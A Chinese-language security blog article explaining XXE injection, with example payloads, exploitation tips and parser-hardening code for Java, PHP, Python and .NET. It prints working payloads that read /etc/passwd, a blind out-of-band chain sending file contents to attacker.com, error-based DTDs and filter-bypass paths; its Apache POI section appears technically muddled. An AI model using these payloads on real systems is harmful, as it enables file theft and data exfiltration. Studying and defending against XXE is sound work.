news 2026/9/16 22:58:53

XXE注入漏洞原理与利用:从XML外部实体到Apache POI漏洞解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XXE注入漏洞原理与利用:从XML外部实体到Apache POI漏洞解析

先给自己定个位。做安全测试这些年,遇到不少开发同事问同一个问题:为什么我的接口明明做了参数校验,还是被扫描器报了个XXE?每次我都得从头讲一遍XML外部实体是怎么回事。这篇文章就把这摊事彻底说清楚——XXE注入漏洞的原理、到底怎么触发、以及数据读取层面的利用思路,顺带把Apache POI那个经典的导出XXE漏洞一起拆了。文章适合刚入门的安全新人、写后端接口的研发,以及正在做代码审计的朋友,看完能直接对照自己的项目排查。

1. 先搞清楚XXE到底是什么:从XML外部实体说起

1.1 XML外部实体这个机制本身是干什么用的

XML文档里有个东西叫DTD,全称是Document Type Definition,文档类型定义。它的作用有点像快递面单上的寄件人信息栏,可以声明一些“宏”,方便在文档主体里反复引用。这个“宏”在XML里有三种叫法:内部实体、外部实体、参数实体。

内部实体很好理解,就是在DTD里直接写了值:

<!DOCTYPE foo [ <!ENTITY xxe "这是一个内部实体"> ]>

外部实体就不一样了,它的值不是写死在文档里的,而是通过SYSTEM关键字引用了一个外部资源,可以是本地文件,也可以是远程URL:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

问题恰恰出在这个设计上。XML解析器拿到DTD声明之后,按照规范会去加载外部实体引用的资源,解析成字符串后替换到文档内容里。这个动作本身是XML规范的一部分,任何一门语言里符合规范的XML解析器都会这么做。所以说,XXE漏洞的根本原因不是某个库写错了,而是“XML解析器对不可信输入加载了外部实体”这件事本身就有风险。

我打个比方,这相当于快递公司收到一个包裹,包裹外面写了一句“去这个地址取货物来装进包裹里”。快递公司如果照做了,那寄包裹的人就可以指向任何地方——比如指向服务器上的密码文件。XML解析器就是这么个老实巴交的快递员,你让它去取,它就真去取。

1.2 为什么XXE的危害等级一直被定得很高

先看这份通用的XXE利用后果清单:

利用目标典型效果危害级别
读取本地文件读取/etc/passwd、配置文件、源代码
发起内网请求SSRF,探测内网端口、访问云元数据
执行系统命令在安装了PHP expect扩展等特殊环境时致命
造成拒绝服务Billion Laughs 实体膨胀攻击中高
内网文件共享访问访问SMB共享,有时可捕获Net-NTLM Hash

定级高的原因在于,它通常拿到了一个“任意文件读取+内网探测”的组合能力。对一个Web应用来说,攻击者能读到配置文件,往往意味着能读到数据库账号密码、OSS密钥、加密盐值等敏感信息,后续的横向渗透路径就这么被撕开了。

还有一个容易被忽视的点,XXE不一定要有回显才能利用,盲XXE可以通过报错信息、OOB外带通道把数据带出来,这个后文会展开讲。现在很多扫描器已经把XXE列为和SQL注入、RCE并列的高危漏洞,因为它在资产暴露面里出现的频率确实不低,尤其是文档解析类业务,比如上传Word、Excel、SVG图片这类场景。

1.3 严格来说,不只是“解析XML”才算有漏洞

这里我想多说一句,很多人以为只有直接接收XML数据流才会触发XXE。但实际业务里,XML经常是“被藏起来”的那一层。

常见的藏身之处包括:SVG图片(本质是XML格式)、Word文档(docx内部是打包好的XML)、Excel文档(xlsx同理)、PDF的XMP元数据、RSS订阅源、SOAP接口报文、SAML断言等。这些格式统一到根上都是XML,只要有哪一层逻辑把其中的XML片段交给了解析器,且没有禁用外部实体,漏洞就可能存在。

这也是Apache POI那个漏洞会引发广泛关注的原因——它不是显眼的外层接口,而是藏在Excel导出流程里的XML解析逻辑。很多系统表面上看起来就是个普通的导出接口,谁能想到后端在处理Excel时会踩中XXE。

2. 触发方式与高发场景:为什么很多业务系统经常踩坑

2.1 常规直接注入:接口直接接收XML的典型攻击报文

最简单的触发场景就是后端接口接收XML格式的请求体,解析后直接拼接返回内容。攻击者提交这样一段报文:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <name>&xxe;</name> </root>

如果解析器没禁用DTD、没禁用外部实体,&xxe;会被替换为/etc/passwd的文件内容。后端如果把这个值回显到响应里,那文件内容就顺理成章地到了攻击者手里。

这个场景下判断是否存在漏洞,可以用一个很轻量的测试方法:先构造一个引用本地唯一文件的实体,比如file:///etc/hosts,如果响应里出现了localhost关键字,基本就能确认存在文件读取型XXE。

有些接口不是完整接收XML文档,而是接收JSON后再把某个字段拼进XML模板做二次解析,这种“隐藏型XML解析”在Java的DocumentBuilderFactory用法里非常普遍。比如做报文转换的时候,代码里写了DocumentBuilderFactory.newInstance(),然后parse方法接收了一个由前端传参拼接出来的XML字符串,这里就会踩雷。

2.2 文件上传场景:SVG、Office文档中的XML解析

另一个高频入口是文件上传。SVG图片就是一个标准的XML文档,攻击者可以构造这样一张图片:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <text>&xxe;</text> </svg>

上传头像、上传图片预览这类业务如果直接对SVG做解析处理,处理完把SVG里某个文本节点的值取出,攻击者就能读到服务器文件。

此外,docx、xlsx这类Office文件本身就是ZIP压缩包,内部有[Content_Types].xmlword/document.xml等大量XML文档。如果系统提供了“导入Word解析标题”“导入Excel批量导入”的功能,后端库会把文件内的XML解压提取并解析,这时候如果库版本有漏洞或者解析器配置不当,文件内嵌的外部实体就会被加载。

特别是Apache POI的场景,我单独放在后面讲,因为这个库的使用面太广了,很多做报表导出、数据导入的Java项目都在用它,中招概率非常高。

2.3 参数实体与嵌套利用:盲注型XXE的常见触发写法

在某些场景下,外部实体的内容不会直接出现在响应里。这时候攻击者会利用参数实体,把数据通过OOB(Out-of-Band)通道外带。

参数实体在DTD内部使用,以%开头,只能在DTD中引用,不能出现在XML文档主体里。经典的盲注型payload长这样:

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>

其中evil.dtd放在攻击者控制的服务器上,内容为:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/collect?data=%file;'>"> %all;

这条链路的执行逻辑是:目标服务器解析XML时,加载了攻击者服务器上的evil.dtd,然后DTD文件内部又把本地文件内容拼到了http://attacker.com/collect?data=...这个URL参数里,于是文件内容作为HTTP请求的一部分发到了攻击者服务器上。这就是盲XXE的完整外带链路。

这种触发方式的好处是,即便应用对XML解析结果完全无回显,只要解析器能发起HTTP请求,数据就能出来。这个“只要”其实很苛刻——需要目标服务器能出网访问攻击者的服务器,内网环境经常不通外网,这条路径就会失效。

2.4 高发场景自查清单

根据我的经验,下面这些业务模块是XXE的重灾区:

  • 后台管理系统的“数据导入导出”功能,尤其是Excel、CSV转XML的模块
  • 对接第三方支付、物流、政企平台时,使用SOAP或自定义XML报文协议的模块
  • 前端图形编辑器的SVG导出、预览功能
  • 报表引擎解析XML模板的功能
  • 单点登录系统中解析SAML断言的功能
  • 旧版中间件自带的XML-RPC服务

如果你的系统里有这些模块,且代码直接使用了DocumentBuilderFactorySAXParserFactoryXMLReaderTransformerFactory等解析器,那就要重点检查是否设置了下文会说的那几个安全属性。

3. 数据读取的利用路径与绕过思路:从直接回显到盲注

3.1 文件读取的基础流程:file协议的地址映射规则

利用XXE读文件时,file://协议需要遵循URL格式。完整的file URL形如:

file:///etc/passwd file:///C:/Windows/win.ini file://localhost/etc/hostname

注意第三段有三级斜杠——file:后面跟///表示本地绝对路径。Windows下读取文件,路径大小写不敏感,但盘符的写法需要注意,file:///C:/Windows/win.inifile:///c:/windows/win.ini效果一样。

还有个小技巧,有些解析器对特殊字符处理不严格,可以尝试在路径中插入/./来绕过简单的关键词过滤,比如:

file:///etc/./passwd file:///etc/foobar/../passwd

这两个路径解析后最终都指向/etc/passwd。有些开发会用replace("file://", "")这种简单过滤方式,这种写法是挡不住上述路径变形的。

3.2 不同语言和环境下外带数据可用的协议

除了file协议,XXE支持的外带协议因解析器和运行语言而异。这是我在实测中总结的常用能力表:

解析器/环境支持的协议可用场景
Java(JAXP)file, http, https, jar, netdoc主流Java后端
PHP(libxml2)file, http, ftp, php(filter/expect)PHP站点,filter很常用
Python(lxml)file, http, ftp数据接口、爬虫解析
.NET(XmlDocument)file, http, https, ftpWindows环境
libxml2(C/C++)file, http, ftp各类原生应用

PHP环境里有个特别灵活的玩法。很多PHP站点禁用了file_get_contents读取远程文件,但libxml2层面的过滤器仍然有效,可以直接在实体里写:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">

这样读出来的源码是Base64编码的,有效避免XML解析器因为文件内容里有特殊符号(比如<&)而中断解析。这个技巧在处理包含代码、标签符号的目标文件时几乎是必用的。

3.3 无回显时的数据判断技巧:报错信息也能带出文件内容

盲XXE不是只有OOB一条路。有些解析器在实体内容包含特殊字符导致XML解析失败时,会把具体错误信息回显到响应里。结合DTD的报错机制,可以构造出“错误信息携带文件数据”的效果。

经典的报错型payload:

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd"> %dtd; ]>

error.dtd内容:

<!ENTITY % content "<!ENTITY &#x25; eval '&#x22;%file;&#x22;'>">

这种方式的原理是,将%file;的值嵌入到某个必定触发解析错误的位置,解析器处理到这个畸形实体时会把内嵌的文件内容带入错误提示,而错误提示又在应用层回显到了前端。这个思路在Java和PHP的某些解析器上都适用,虽然调试过程比较曲折,但很多时候是唯一能拿到数据的途径。

3.4 进阶:文件内容无法完整读取时的处理思路

如果你的目标文件很大,或者文件内容包含特殊字符导致解析中断,有几个实际的绕过策略可以尝试。

字符串截断可以用参数实体配合子串截取,但DTD里没有直接定义子串截取的函数,你可以分多次读取同一个文件的不同部分。比如先读前100个字符,再通过URL的Range参数或者预定义位置(很多文件前面有固定格式头部)来定位偏移量。虽然DTD没有官方substring,但在某些解析器上可以用字符遍历的穷举法逐字带出内容,这个过程比较痛苦但确实可行。

更常用的方法是先读取目录结构。通过file:///协议在部分Java版本和libxml2上可以列出目录内容,获知目标文件名后再精确读取。比如先读file:///var/www/html/列出目录,锁定config.php存在,再定向读文件。

3.5 Apache POI的XSSFExportToXml漏洞在数据读取中的连锁反应

这里回到热词里提到的Apache POI。它的问题出在导出Excel时把段落XML嵌入到Sheet的Weird区块,然后通过XSSFExportToXml.exportToXML()方法导出。这个方法在内部创建的XML解析器没有显式禁用外部实体,所以当Excel里预先被写入一个带有外部实体声明的自定义XML时,导出动作就会触发实体加载。

攻击者可以先制作一个包含如下内容的Excel文件:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!DOCTYPE xsl [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xsl:template match="/"> <html>&xxe;</html> </xsl:template> </xsl:stylesheet>

把它作为sheet校验规则或自定义XML填入工作簿,诱导应用调用导出接口后,后端如果直接用POI的XSSFExportToXml导出,文件内容就会被带出来。

这类漏洞最麻烦的地方在于:入口不是攻击者直接提交的XML,而是“看起来是个普通的Excel文件”。常规的WAF和参数检测根本不会拦截二进制上传,等导出功能被调用,漏洞已经被触发。这个案例给研发的警醒是,凡是依赖库能解析XML的,不管这个XML是在哪一层出现的,都要统一加固,不能只盯着外层接口。

4. 防御方案解析:解析器加固的完整配置清单

4.1 Java生态:DocumentBuilderFactory与SAXParserFactory的标准配置

先给一份Java里相对完整的加固配置。核心操作是禁用DTD和禁用外部实体:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { // 禁用DTD dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用外部通用实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用参数实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); } catch (ParserConfigurationException e) { e.printStackTrace(); }

有些解析器在较早版本里对上述Feature支持不全,保险起见加上这几个属性:

dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

注意:disallow-doctype-decl设为true后,文档里只要出现<!DOCTYPE就会直接抛异常。如果业务上真的需要接收带DTD的XML,那就退而求其次,把external-general-entitiesexternal-parameter-entities设为false。但我的建议是,能禁DTD就尽量禁,因为DTD在绝大多数业务场景中根本没有使用价值,留着只会增加攻击面。

SAXParserFactory和XMLReader的配置方法同理,核心Feature名称是一样的,只是入口不同。

4.2 PHP生态:libxml2的全局配置与loadXML拦截

PHP端相对简单,libxml2从2.9.0版本开始默认不加载外部实体,但很多老环境或者手动打开LIBXML_NOENT选项的情况仍会出问题。加固方案是调用libxml_disable_entity_loader(true)

libxml_disable_entity_loader(true); $doc = new DOMDocument(); $doc->loadXML($xml);

同时读取文件时传递LIBXML_NONET选项阻断网络请求:

$doc->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);

注意,LIBXML_NOENT本身是“加载实体”的选项,如果你必须用它来保证原有功能,那一定要配合LIBXML_NONET使用,至少能防止解析器发起远程HTTP请求。

4.3 Python与.NET的防御对照

Python里常见的是lxml库,最佳实践是做两层设置,一层禁用实体加载,一层禁用网络访问:

from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False) root = etree.fromstring(xml_data, parser=parser)

注意resolve_entities=False仍可能允许DTD被加载,load_dtd=False才能真正阻止DTD解析,直接用把两者都设为False,安全层级最高。

.NET环境在较新版本(4.5.2+)里,XmlDocument默认不再解析外部实体,但在老版本或显式使用XmlReader时仍需手动设置:

XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(new StringReader(xml), settings);

如果业务确实需要DTD,则退而设置为DtdProcessing.Parse,同时设置XmlResolver = null

settings.DtdProcessing = DtdProcessing.Parse; settings.XmlResolver = null;

4.4 中间层防御:WAF、输入校验与依赖升级

到解析器这层加固完后,别忘了中间层。WAF规则里如果能匹配到<!DOCTYPE<!ENTITY这两个关键组合,就能直接在入口拦截一大波扫描流量,但不是所有业务都部署了WAF,尤其内网系统。

更务实的做法是代码层面做输入校验。对非XML类型的接口,明确拒绝text/xml的Content-Type;对确实需要接收XML的场景,解析前先检查报文里是否包含<!DOCTYPE关键字,包含则直接拒绝。这种做法比较粗糙,但作为纵深防御的最低层也能起到作用。

依赖升级这块必须单独说。Apache POI的用户需要至少升级到4.1.1版本(CVE-2019-12415修复版本),同时建议跟进POI-OOXML的补丁更新。各个语言生态里,XML解析器的安全修复大部分是通过版本升级完成的,把老旧的解析库锁在一个低版本里,等于把漏洞锁在自己的系统里。

5. 做测试这几年踩过的坑:XXE排查中的常见问题与心得

5.1 扫描器报了XXE,但我手工复现却读不到文件

这个情况我遇到过很多次。扫描器报XXE有两种可能:一是扫描器向目标发送了恶意XML,目标解析时抛出了异常,扫描器根据异常特征误报;二是解析器确实加载了外部实体,但响应里没有任何回显位置,扫描器只是根据带外请求的DNS解析记录确认漏洞。

手工复现时读不到文件,最常见的原因是目标解析器禁用了外部实体加载但保留了DTD解析——这种情况下,实体声明被接受但实体值不替换。这时候把SYSTEM换成远程URL去探测,如果目标会发起请求,说明还能做盲XXE,只是本地文件读取失败而已。

如果是file://读不到,可以试netdoc://(Java)或php://filter(PHP),不同协议的可用性差异确实很大。

5.2 用报错型XXE时,中文和特殊字符会导致解析彻底失败

这是我在读包含中文的配置文件时频繁踩到的坑。XML解析器对非法字符非常敏感,文件内容里如果包含<&、中文全角字符的部分编码组合,解析器会直接抛错,导致整个DTD执行中断。

解决办法是优先读取Base64编码后的值。PHP环境下用php://filter/read=convert.base64-encode/resource=...做一次编码,这样无论原始内容是什么字符,外带时都是URL安全的Base64内容,到攻击者服务器后再解码。Java环境下可以用jar:协议配合编码类,但配置复杂得多,一般推荐先读无特殊字符的系统文件,比如/etc/hostname,确认漏洞存在后再升级读取策略。

5.3 目标不出网,盲XXE链路全部失效怎么办

遇到严格隔离的内网环境是比较难受的。目标服务器无法访问外网,OOB链路就被切断了。这时候有三条路可以试。

第一条是报错回显,看响应里是否能返回解析错误详情,如果应用层会把异常堆栈输出到响应体,报错型XXE仍然有效。第二条是延迟注入,用大型实体(Billion Laughs组合)或外部超大文件读取来制造响应延迟,通过时间差来判断文件是否存在,这种方式只能做存在性判断,拿不到内容。第三条最笨但最有效——回到业务逻辑,看看解析后的XML数据有没有进入数据库、日志、导出文件等位置,比如把文件内容拼进实体后既无回显也不出错,但应用把解析结果存到了数据库的某个字段里,研发把那个字段查一下,数据就到手了。这种场景在后端解析XML做数据入库的业务里很常见。

5.4 给团队做XXE修复验收的检查清单

如果你正好负责推动XXE漏洞修复,我建议验收时对照下面这个清单逐一确认:

  • 确认所有XML解析入口统一收口,不能在各个业务代码里各自new解析器
  • 线上使用的是最低安全版本的解析库,Java、PHP、Python生态各有对应的版本基线
  • 对解析器配置统一封装,默认禁用DTD、禁用外部实体,需要支持的场景走白名单
  • 日志和异常响应中不回显XML解析错误的完整内容
  • 文件上传功能对SVG、Office文档等XML格式做了类型限制
  • 外部接口对接时明确约定不接受DTD声明的XML报文
  • 定期用自动化扫描器对全部接口做XML实体注入探测

5.5 个人建议:把“解析XML”这事当成高危操作对待

从实际排查的经验看,XXE出问题往往不是某一行代码写错了,而是整个团队对XML解析这件事缺少敬畏。大家默认认为解析器是可信的、格式是安全的,但XML这个格式在安全上的坑比JSON多得多。JSON没有实体、没有外部引用、没有DTD这些特性,所以不会有类似问题。

我个人做安全评审时有个原则:凡是代码里出现了parseloadXMLDocumentBuilder这类关键词,一律默认存在XXE风险,直到确认解析器配置加固过。这个原则帮团队拦下了好几个本来会带上线的隐患。

这也是为什么现在越来越多项目在对接数据格式时优先选择JSON、Protobuf这类更安全、更轻量的序列化方案。如果业务上必须用XML(比如SAML、SOAP、Excel),那就老老实实把解析器加固做到位,然后把这篇文章里的检查清单交给研发团队,让他们逐条对照落实。等我哪次有机会再讲讲结合XXE做内网端口探测的思路,那个话题更隐蔽,但在真实授权测试里作用不小。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 22:57:32

MATLAB中SOM聚类实战:从原理、参数调优到误差评估

简介&#xff1a;SOM&#xff08;自组织映射&#xff09;是一种基于竞争学习的无监督神经网络&#xff0c;常用于非线性降维与数据可视化。以MATLAB为环境的SOM聚类资源&#xff0c;专为希望掌握SOM原理并快速上手的初学者设计&#xff0c;通过鱼类种类特征数据&#xff0c;演示…

作者头像 李华
网站建设 2026/9/16 22:56:35

xcodebuild + simctl 实现iOS模拟器自动化打包与安装全流程

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/16 22:55:15

华为交换机远程登录配置实战:Telnet与SSH全解析

很多刚接触华为交换机的人&#xff0c;第一件事往往不是配置 VLAN&#xff0c;而是先想明白&#xff1a;我到底怎么才能远程连上这台设备&#xff1f;机房设备多、Console 线不够用的时候&#xff0c;大家都会想到开 telnet 或者 SSH&#xff0c;把设备接入办公网&#xff0c;然…

作者头像 李华
网站建设 2026/9/16 22:55:15

车规电感选型:三大电压平台的物理约束与实操七步法

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/16 22:54:51

ABB机器人姿态为什么必须用四元数而非欧拉角

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华